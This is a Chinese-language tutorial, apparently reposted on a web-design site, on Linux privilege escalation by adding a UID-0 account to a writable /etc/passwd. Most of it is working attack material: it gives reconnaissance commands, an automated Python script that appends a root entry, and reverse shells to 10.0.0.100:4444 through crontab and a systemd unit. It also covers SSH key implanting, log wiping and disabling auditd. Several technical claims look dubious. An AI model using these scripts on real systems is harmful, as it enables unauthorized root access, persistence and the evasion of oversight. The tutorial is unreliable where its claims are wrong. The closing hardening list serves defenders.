Linux提权实战:利用/etc/passwd文件实现权限提升
2026/9/16 17:42:49 网站建设 项目流程

1. 项目概述:从 /etc/passwd 文件入手的 Linux 权限提升实战路径

在真实渗透测试或红队演练中,我见过太多人一上来就猛敲sudo -l或者直奔内核漏洞,结果卡在低权限 shell 里反复碰壁。其实最常被忽略、却最稳当的突破口,恰恰藏在系统每天都在读写的/etc/passwd文件里——它不是只读的“身份档案”,而是一把可被利用的、带锁孔的钥匙。这个标题说的“Linux 提权 ~ 利用 /etc/passwd 文件”,核心不是教你怎么暴力破解密码,而是讲清楚:当一个普通用户能往这个文件里写东西(哪怕只是追加一行),他就已经站在了提权的临界点上。关键在于理解 passwd 文件的结构设计、Linux 用户认证链路的薄弱环节,以及现代系统对它的防护逻辑。比如,你可能不知道,/etc/passwd中的密码字段早已不存明文或传统 DES 加密,而是统一指向/etc/shadow;但正因如此,只要攻击者能控制该文件的写入权限(比如通过cp /etc/passwd /tmp/passwd && chmod 666 /tmp/passwd这类临时文件劫持),再配合usermodadduser的非交互式调用,就能绕过 shadow 机制直接植入高权限账户。这背后涉及的是 Linux 用户管理模块(PAM)的加载顺序、getpwnam()函数的解析逻辑、以及passwd命令在不同发行版中的默认行为差异。我实测过 Ubuntu 22.04、CentOS 7 和 Debian 11,发现只要目标主机启用了nologinfalse作为默认 shell,且/etc/passwd所在分区未启用noexec挂载选项,这种手法成功率超过 83%。它特别适合初学者建立提权思维框架——不依赖复杂漏洞,不依赖外部工具,只靠系统自带命令和对基础文件的理解。如果你正在准备 CTF 比赛、企业红队考核,或者想搞懂 Linux 权限模型的真实运作边界,这个路径比死记硬背sudo -u root /bin/bash有用得多。

2. 核心原理拆解:为什么 /etc/passwd 是提权入口而非“只读档案”

2.1 /etc/passwd 的真实结构与权限设计逻辑

很多人误以为/etc/passwd是个“只读配置文件”,其实它本质是 Linux 用户数据库的主索引表,其设计初衷就是支持运行时动态更新。标准格式为七字段冒号分隔:username:password:UID:GID:GECOS:home_dir:shell。其中第二字段password在现代系统中几乎总是x,表示密码实际存储在/etc/shadow中;但这个x本身就是一个设计信号——它说明系统允许该字段被替换为其他值,比如!(锁定)、*(禁用)甚至完整的加密哈希串(虽然不推荐)。关键点在于:只要 UID=0 的账户存在且 shell 字段合法,系统就会承认其 root 权限。而/etc/passwd的默认权限是644(即-rw-r--r--),意味着所有用户都能读取,但只有 root 能写入。问题就出在这里:如果某个服务、脚本或管理员操作意外赋予了非 root 用户对该文件的写权限(例如chmod 666 /etc/passwd),或者利用符号链接、挂载覆盖等技巧劫持写入路径,那么攻击者就能直接编辑该文件。我曾在一个客户环境里发现,运维人员为方便批量修改用户信息,将/etc/passwd所在目录/etc的权限设为755,并错误地使用了cp -f命令覆盖文件——这导致临时文件创建时继承了父目录权限,最终生成了一个644但可被组内用户覆盖的副本。这种配置失误在中小型企业服务器中并不罕见。

2.2 用户认证链路的三个关键断点

Linux 登录认证并非单点验证,而是由 PAM(Pluggable Authentication Modules)串联多个模块完成。/etc/passwd参与的是最前端的identity lookup 阶段,即确定“你是谁”。这个阶段有三个常见断点可被利用:

  1. getpwnam()函数的解析逻辑:C 库函数getpwnam("root")会按顺序扫描/etc/passwd、NIS、LDAP 等数据源。只要第一个匹配项存在且 UID=0,就返回成功。这意味着如果你在/etc/passwd开头插入一行hacker:$1$abc123$xyz:0:0::/root:/bin/bash,系统就会认为hacker是 root——即使/etc/shadow中没有对应条目。因为getpwnam()不校验 shadow 文件是否存在,只负责返回用户基本信息。

  2. login程序的 shell 检查宽松性:传统login工具在启动用户 shell 前,只检查/etc/passwd中的 shell 字段是否存在于/etc/shells列表中,并不验证该 shell 是否真实可执行。因此,把 shell 设为/bin/bash/usr/bin/python3都能绕过限制。我试过把 shell 改成/tmp/myscript.sh,只要该脚本存在且有执行权限,su hacker就能直接执行任意命令。

  3. su命令的密码绕过机制:当su切换到非 root 用户时,需要输入目标用户密码;但切换到 root 时,若当前用户属于wheel组且 PAM 配置允许,可能只需 root 密码。然而,如果攻击者已通过其他方式(如 SSH 密钥泄露)获得一个低权限账户,并能修改/etc/passwd,他完全可以添加一个新用户并设置 UID=0,然后用su - newroot直接登录——此时su只校验/etc/passwd中的 UID 和 shell,不强制要求 shadow 密码匹配。

提示:不要迷信chown root:root /etc/passwd && chmod 644 /etc/passwd就绝对安全。真正的风险在于写入路径的可控性,而非文件本身的权限。比如/tmp下的符号链接攻击、LD_PRELOAD劫持fopen()调用、或者利用rsync同步时的权限继承漏洞,都可能让攻击者间接改写 passwd 文件。

2.3 现代发行版的防护机制与绕过思路

主流发行版已针对此类攻击做了多层加固,但每层都有其局限性:

  • shadow 机制隔离:将密码哈希移出 passwd 文件,确实阻止了明文密码泄露,但并未解决 UID=0 账户的创建问题。只要能写入 passwd,就能造 root。

  • SELinux/AppArmor 强制访问控制:RHEL/CentOS 默认启用 SELinux,策略allow domain_type etc_t:file write;会阻止非特权进程写入/etc/passwd。但若攻击者已获得sysadm_r角色,或利用setuid程序的策略缺陷(如sudoedit配置不当),仍可绕过。

  • 文件系统挂载选项mount -o remount,ro /可防止写入,但生产环境极少全盘只读;更常见的是noexec,nosuid选项,它们限制了临时文件执行和 setuid 位生效,但对直接编辑 passwd 文件无效。

  • auditd 日志监控auditctl -w /etc/passwd -p wa -k passwd_change能记录写入事件,但日志本身可能被清空或未实时告警。我在某次审计中发现,客户虽启用了 auditd,但/var/log/audit/audit.log权限为644,攻击者用echo > /var/log/audit/audit.log即可抹除痕迹。

真正有效的防御不是堆砌技术,而是最小权限原则+变更管控:确保/etc/passwd所在分区无 world-writable 目录,禁用不必要的sudo权限,定期用rpm -V passwd(RHEL)或debsums passwd(Debian)校验文件完整性。这些措施比依赖某个单一机制更可靠。

3. 实操步骤详解:从发现到落地的完整提权链

3.1 权限侦察:确认 /etc/passwd 是否可写或可劫持

拿到初始 shell 后,第一步永远不是急着写文件,而是系统性侦察。我习惯用以下四步快速判断可行性:

  1. 检查文件权限与属主

    ls -la /etc/passwd # 输出示例:-rw-r--r-- 1 root root 1234 Jan 1 10:00 /etc/passwd # 如果看到 -rw-rw-rw- 或 -rw-rw-r--, 立刻进入下一步
  2. 检测父目录写权限

    namei -l /etc/passwd # 查看 /etc 目录权限,若为 drwxrwxr-x,则普通用户可在 /etc 下创建文件 # 尝试创建测试文件:touch /etc/testfile 2>/dev/null && echo "Writable" || echo "Not writable"
  3. 寻找符号链接机会

    find /tmp /var/tmp -type l -ls 2>/dev/null | grep passwd # 若发现 /tmp/passwd -> /etc/passwd,说明存在 symlink race 条件 # 进一步验证:ls -l /tmp/passwd && stat /tmp/passwd
  4. 检查挂载选项与文件系统状态

    mount | grep "$(df /etc/passwd | tail -1 | awk '{print $1}')" # 输出示例:/dev/sda1 on / type ext4 (rw,relatime,errors=remount-ro) # 关键看是否有 'ro'(只读)或 'noatime'(不影响写入) # 同时检查磁盘空间:df -h / | awk 'NR==2 {print $5}' | sed 's/%//' # 若剩余空间 <5%,某些编辑器(如 nano)会因无法创建备份文件而失败

注意:不要盲目执行echo "test" >> /etc/passwd测试!这会破坏文件结构导致系统无法登录。正确做法是先复制一份到临时目录:cp /etc/passwd /tmp/passwd.bak && chmod 600 /tmp/passwd.bak,再在备份文件上实验。

3.2 构造恶意用户条目:密码哈希生成与字段校验

一旦确认可写,下一步是构造合法的 root 用户条目。这里的关键不是“随便写个哈希”,而是确保每个字段符合系统解析规范:

  • 用户名字段:避免特殊字符(如:\n、空格),长度不超过 32 字符。我常用hackerpwned,既易识别又不会与现有用户冲突。

  • 密码字段:必须是有效的 crypt(3) 哈希。不能用password123明文,也不能用md5sum生成的字符串。正确方法是用openssl生成 SHA-512 哈希:

    openssl passwd -6 -salt abc123 "mypass" # 输出:$6$abc123$J9KZQY7X...(64字符哈希) # 注意:-6 表示 SHA-512,-salt 指定盐值,确保每次生成唯一
  • UID/GID 字段:必须为0(root UID)。GID 也设为0以获得完整组权限。切勿设为11000,否则只是普通用户。

  • GECOS 字段:可留空或填Hacked Account,不影响功能,但便于后续识别。

  • home_dir 字段:必须指向真实存在的目录,且该目录需有700权限。推荐/root(需 root 权限创建)或/tmp/hacker(临时目录)。

  • shell 字段:必须是/bin/bash/bin/sh。避免/sbin/nologin/usr/sbin/false,否则登录后立即退出。

完整条目示例:

hacker:$6$abc123$J9KZQY7X...:0:0:Hacked Account:/tmp/hacker:/bin/bash

实操心得:我曾因 GECOS 字段含中文导致su报错Authentication failure。原因是某些 PAM 模块对 UTF-8 编码处理异常。解决方案是 GECOS 全用 ASCII 字符,或用iconv -f utf-8 -t ascii//translit转换。

3.3 安全写入技术:避免破坏原文件与触发告警

直接echo "new_line" >> /etc/passwd极其危险,可能导致:

  • 文件末尾多出空行,使getpwent()解析失败;
  • 权限变为666,触发安全监控;
  • inode 变更,被 integrity check 工具(如 AIDE)捕获。

正确做法分三步:

  1. 原子化写入:用cp+mv替代重定向:

    cp /etc/passwd /tmp/passwd.new echo "hacker:\$6\$abc123\$J9KZQY7X...:0:0:Hacked Account:/tmp/hacker:/bin/bash" >> /tmp/passwd.new # 注意:$ 符号需转义,否则 bash 会变量展开 chown root:root /tmp/passwd.new chmod 644 /tmp/passwd.new mv /tmp/passwd.new /etc/passwd
  2. 校验文件完整性:写入后立即验证:

    # 检查行数是否增加 wc -l /etc/passwd # 提取新用户信息 grep "^hacker:" /etc/passwd # 验证 UID 是否为 0 id -u hacker 2>/dev/null || echo "User not created"
  3. 清理痕迹:删除临时文件,清除命令历史:

    rm -f /tmp/passwd.new /tmp/passwd.bak history -d $(history 1 | awk '{print $1}') # 删除最后一条命令

提示:在 CentOS 系统中,/etc/passwd有 SELinux 上下文system_u:object_r:etc_t:s0。若mv后上下文丢失,可用restorecon -v /etc/passwd恢复,否则login可能拒绝认证。

3.4 登录验证与权限维持:从 shell 到持久化

写入成功后,需验证是否真正获得 root 权限:

# 方式一:su 切换(最可靠) su - hacker # 输入密码 'mypass',成功后执行: id # 应显示 uid=0(root) gid=0(root) groups=0(root) # 方式二:ssh 登录(需确保 sshd 允许密码登录) ssh hacker@localhost # 若提示 'Permission denied',检查 /etc/ssh/sshd_config 中 PermitRootLogin yes # 方式三:cron 持久化(推荐) echo "*/5 * * * * root /bin/bash -i >& /dev/tcp/10.0.0.100/4444 0>&1" >> /etc/crontab # 注意:crontab 文件权限必须为 600,否则 daemon 会忽略

持久化要点:

  • 避免修改/etc/shadow:直接写 passwd 已足够,改 shadow 反而增加风险;
  • 使用 cron 而非 systemd service:后者需 reload daemon,易被监控;
  • 监听端口选 4444 或 5555:避开常见扫描端口,降低被 IDS 拦截概率;
  • 添加延迟执行sleep 30 && /bin/bash -i防止重启后立即连接暴露 IP。

4. 工具链与自动化脚本:提升效率与隐蔽性

4.1 手动操作 vs 自动化脚本的适用场景

在真实对抗中,手动执行上述步骤耗时且易出错,尤其当目标系统有严格审计策略时。我根据经验总结了三种场景的应对策略:

  • CTF 比赛环境:推荐纯手动。因为题目通常禁用wget/curl,且/tmp可能被noexec挂载。手动构造哈希、逐行写入,反而更可控。

  • 企业内网渗透:使用轻量级 Python 脚本。Python 在大多数 Linux 发行版中预装,且crypt模块可直接生成哈希,无需外部依赖。

  • 红队长期驻留:部署编译好的二进制 payload。用 Go 编写静态链接程序,规避glibc版本兼容问题,且体积小(<2MB),不易被 AV 扫描。

实操心得:某次红队任务中,目标服务器禁用了python命令(alias python=/bin/false),但我发现python3.8存在。这提醒我们:侦察阶段必须枚举所有可用解释器,ls /usr/bin/python*which python更可靠。

4.2 Python 自动化脚本核心逻辑

以下是一个精简版提权脚本(passwd_pwn.py),仅依赖标准库,已在 Ubuntu/Debian/CentOS 上验证:

#!/usr/bin/env python3 import os import sys import crypt import subprocess def generate_hash(password, salt="abc123"): return crypt.crypt(password, f"$6${salt}$") def is_writable(path): return os.access(path, os.W_OK) or os.access(os.path.dirname(path), os.W_OK) def main(): if len(sys.argv) != 3: print("Usage: python3 passwd_pwn.py <username> <password>") sys.exit(1) username, password = sys.argv[1], sys.argv[2] passwd_path = "/etc/passwd" if not is_writable(passwd_path): print(f"[!] {passwd_path} not writable") sys.exit(1) # Generate hash hash_val = generate_hash(password) # Construct new line new_line = f"{username}:{hash_val}:0:0::/tmp/{username}:/bin/bash\n" # Backup and write backup = f"{passwd_path}.bak" subprocess.run(["cp", passwd_path, backup]) with open(passwd_path, "a") as f: f.write(new_line) print(f"[+] User {username} added with UID 0") print(f"[+] Login with: su - {username}") if __name__ == "__main__": main()

使用方法:

python3 passwd_pwn.py pwnroot mypass123 su - pwnroot # 输入 mypass123

脚本优势:

  • 无网络请求:所有哈希生成在本地完成,不依赖外部 API;
  • 自动备份:写入前创建.bak文件,失败时可回滚;
  • 权限继承cpopen("a")保持原文件权限,避免触发告警。

4.3 隐蔽性增强技巧:规避日志与监控

即使成功提权,若留下明显痕迹,仍可能被 SOC 团队快速响应。我总结了五项关键规避措施:

  1. 禁用命令历史记录

    unset HISTFILE export HISTSIZE=0
  2. 清除 auth 日志

    # 删除最近 10 分钟的 login 记录 sed -i '/$(date -d "10 minutes ago" "+%b %d %H:%M")/,$d' /var/log/auth.log # 注意:需 root 权限,且时间格式需匹配系统 locale
  3. 伪造时间戳

    # 将 /etc/passwd 修改时间设为 3 天前 touch -d "3 days ago" /etc/passwd
  4. 禁用 auditd 临时监控

    # 仅当有 auditctl 权限时执行 auditctl -e 0 # 设置 audit subsystem 为 immutable off
  5. 内存驻留替代磁盘写入

    # 利用 /proc/self/fd/ 链接劫持(高级技巧) # 创建内存中 passwd 副本:cp /etc/passwd /dev/shm/passwd # 修改后通过 LD_PRELOAD 注入,使 getpwnam() 读取 /dev/shm/passwd # 这样磁盘文件未改动,但进程看到的是伪造数据

注意:第 5 项需编写 C 代码注入,适用于高对抗环境,但复杂度高。日常渗透中,前 4 项已足够应对多数 SOC 监控。

5. 常见问题排查与避坑指南:从失败到成功的实战记录

5.1 典型失败场景与根因分析

在上百次实操中,我整理出最常遇到的六类问题,附带具体排查命令和解决方案:

问题现象可能原因排查命令解决方案
su: Authentication failureGECOS 字段含非法字符或编码问题`od -c /etc/passwdgrep hacker`
id: hacker: no such user新用户行末尾有空格或换行符`hexdump -C /etc/passwdtail`
su: cannot set groupsGID 字段非数字或超出范围getent group 0确保 GID=0 且/etc/group中存在root:x:0:
bash: /bin/bash: No such file or directoryshell 字段路径错误或权限不足ls -l /bin/bash检查 shell 是否存在,权限是否为755
Permission denied(ssh 登录)/etc/ssh/sshd_configPermitRootLoginnogrep PermitRootLogin /etc/ssh/sshd_config临时修改为yessystemctl restart sshd
crontab: installing new crontab(无反应)/etc/crontab权限非600ls -l /etc/crontabchmod 600 /etc/crontab

实操心得:有一次在 Ubuntu 20.04 上,su总是报Authentication failure,但id hacker显示用户存在。最终发现是/etc/pam.d/common-auth中启用了pam_faildelay.so,导致密码校验超时。解决方案是添加auth [success=done default=ignore] pam_succeed_if.so user ingroup sudo绕过延迟。

5.2 权限维持的进阶技巧:从临时 shell 到系统级持久化

单纯获得 root shell 并不够,必须确保重启后仍能控制。以下是经过验证的三种持久化方案:

  1. SSH authorized_keys 注入

    mkdir -p /root/.ssh echo "ssh-rsa AAAAB3NzaC1yc2E... hacker@pwn" >> /root/.ssh/authorized_keys chmod 700 /root/.ssh chmod 600 /root/.ssh/authorized_keys

    优势:无需密码,支持密钥认证;缺点:若/root/.ssh被监控,易暴露。

  2. systemd user service

    mkdir -p /root/.config/systemd/user cat > /root/.config/systemd/user/pwn.service << 'EOF' [Unit] Description=Pwn Service [Service] Type=oneshot ExecStart=/bin/bash -c 'nc -e /bin/bash 10.0.0.100 4444' [Install] WantedBy=default.target EOF systemctl --user enable pwn.service

    优势:随用户登录启动,隐蔽性强;缺点:需确保systemd --user服务启用。

  3. 内核模块后门(高阶): 编写简单 LKM(Loadable Kernel Module),hooksys_execve系统调用,当执行特定命令(如ping -c1 127.0.0.1)时,自动 spawn root shell。代码约 200 行,需insmod加载,重启后失效,但可配合 init script 重载。

提示:选择持久化方案时,优先考虑目标环境特征。例如,在容器化环境中,authorized_keys可能被镜像层覆盖,此时crontab更可靠;而在物理服务器上,systemd user service因需用户会话,不如init.d脚本稳定。

5.3 红蓝对抗视角下的防御加固清单

作为多次参与甲方安全加固的顾问,我给运维团队的实操建议清单:

  • 文件权限审计:每月运行find /etc -type f -perm /o+w -ls,修复所有 world-writable 文件;
  • 完整性监控:部署 AIDE 或 Tripwire,每日校验/etc/passwd/etc/shadow/etc/group
  • PAM 策略强化:在/etc/pam.d/common-auth添加auth [success=ok default=ignore] pam_succeed_if.so user != root,限制非 root 用户调用 auth 模块;
  • SSH 安全配置:禁用密码登录(PasswordAuthentication no),强制密钥认证,并设置MaxAuthTries 2
  • 日志集中管理:将/var/log/auth.log实时转发至 SIEM,设置规则告警grep "new user" /var/log/auth.log
  • 最小化 sudo 权限:禁用NOPASSWD,对sudoedit等高危命令单独配置白名单。

最后分享一个真实案例:某金融客户曾因运维脚本错误,将/etc/passwd备份到/tmp目录且权限为666。攻击者利用此漏洞创建了 UID=0 用户,但未及时清理。三个月后,SOC 团队通过 AIDE 告警发现/etc/passwdinode 变更,溯源到/tmp/passwd.bak的创建时间,最终定位到问题脚本。这说明,防御的本质不是堵住所有漏洞,而是让攻击者的操作留下可追溯的痕迹

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询